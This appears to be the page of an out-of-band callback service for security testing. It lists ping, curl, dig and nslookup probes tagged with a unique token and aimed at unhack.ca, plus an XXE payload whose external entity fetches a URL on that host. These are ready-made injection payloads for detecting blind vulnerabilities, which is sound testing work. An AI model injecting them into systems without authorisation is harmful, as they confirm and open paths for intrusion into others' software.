$ ping -c1 -p 00f3989cb85ff08630b9252a70073a00 unhack.ca
 
$ curl http://unhack.ca/p/f3989cb85ff08630b9252a70073a
 
$ dig f3989cb85ff08630b9252a70073a @unhack.ca
 
$ dig f3989cb85ff08630b9252a70073a.ns.unhack.ca
 
C:\> nslookup f3989cb85ff08630b9252a70073a unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/f3989cb85ff08630b9252a70073a">]>
    <foo>&xxe;</foo>
Waiting for ping...